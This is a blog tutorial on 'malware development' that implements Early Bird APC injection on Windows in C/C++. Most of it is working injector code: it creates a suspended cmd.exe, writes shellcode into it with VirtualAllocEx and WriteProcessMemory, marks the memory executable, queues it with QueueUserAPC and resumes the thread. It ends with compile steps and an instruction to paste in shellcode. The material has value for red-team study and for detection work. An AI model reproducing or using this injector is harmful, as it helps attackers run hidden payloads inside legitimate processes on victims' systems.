Malware Development - Early Bird Injection
On this page
Introduction
In this blog post, we will walk through the implementation of Early Bird injection in C/C++. It is assumed that you have read and understood my previous blog post on APC injection.
Early Bird injection is an advanced variant of APC injection which solves the problem of unreliable execution.
The problem with APC injection is that your shellcode only runs when the target thread enters into an alertable state. There is no guarantee that this will happen within a reasonable time frame. While queuing multiple APCs increases the likelihood of execution, it introduces the risk crashing the process or detection.
Early Bird Injection Theory
Early bird injection involves creating a suspended process, injecting shellcode via APC, and triggering execution.
The steps we will be implementing are:
- Create a Suspended Process using
CreateProcessW() - Allocate Memory using
VirtualAllocEx() - Write Shellcode using
WriteProcessMemory() - Queue an APC on the suspended thread using
QueueUserAPC() - Resume Process using
ResumeThread()
This approach works because of the way Windows handles resuming a suspended process. All APCs will be run as a part of the process’s setup routine so that it can resume as a “fresh” process.
Code
If you want to understand why we use the values for every single argument, refer to the Win32 API Docs.
We start like always by writing a basic main function and a placeholder for our shellcode:
#include <windows.h>
#include <stdio.h>
const unsigned char buf[] = {};
int main(void) {
// code goes here
return 0;
}
In the following section of code, we create a suspended process:
STARTUPINFOW si = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = {0};
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
si and pi are both used to store information used during process creation. si deals with startup settings, including the window appearance of the spawned process. pi on the other hand will store useful things like the process handle and thread handle.
We use CreateProcessW to spawn cmd.exe or any other process we want. The most important argument is CREATE_SUSPENDED which will prevent the process from immediately running so we can queue our APC.
Next we will allocate memory in the process, write our shellcode, and change the permissions to allow for execution:
LPVOID exec_mem = VirtualAllocEx(pi.hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
size_t bytesWritten = 0;
WriteProcessMemory(pi.hProcess, exec_mem, buf, sizeof(buf), &bytesWritten);
DWORD oldprotect = 0;
VirtualProtectEx(pi.hProcess, exec_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);
We allocate memory using VirtualAllocEx and use WriteProcessMemory to write our shellcode to that memory.
bytesWritten can be printed out as a debugging mechanism to see if writing the shellcode was successful.
We use VirtualProtectEx to change the memory region to an executable protection. I explained why in the APC injection blog post. oldprotect is used to store the previous protection value (PAGE_READWRITE) in case it is needed later.
The final step is to queue our APC and to resume the thread, and if everything goes well, execute our shellcode.
QueueUserAPC((PAPCFUNC) exec_mem, pi.hThread, 0);
ResumeThread(pi.hThread);
We use QueueUserAPC to queue our shellcode (exec_mem) as an APC to be executed.
Then we use ResumeThread to decrement the primary thread’s suspend count. When that count reaches zero, Windows will resume execution of the thread.
The full source code can be found on my GitHub.
Compilation & Execution
Compile our code with cl from an x64 Native Tools Command Prompt:
cl -O2 /GS- /Fe:<output_filename>.exe <filename>.cpp
Don’t forget to paste in your shellcode into buf beforehand.
Now you can run the injector:
.\early-bird.exe
And your shellcode will execute.
Summary
In this blog post we were able to implement Early Bird Injection, a more advanced variation of APC injection which solves the fundamental limitation of guaranteed execution.
Thanks for reading,
https 🤍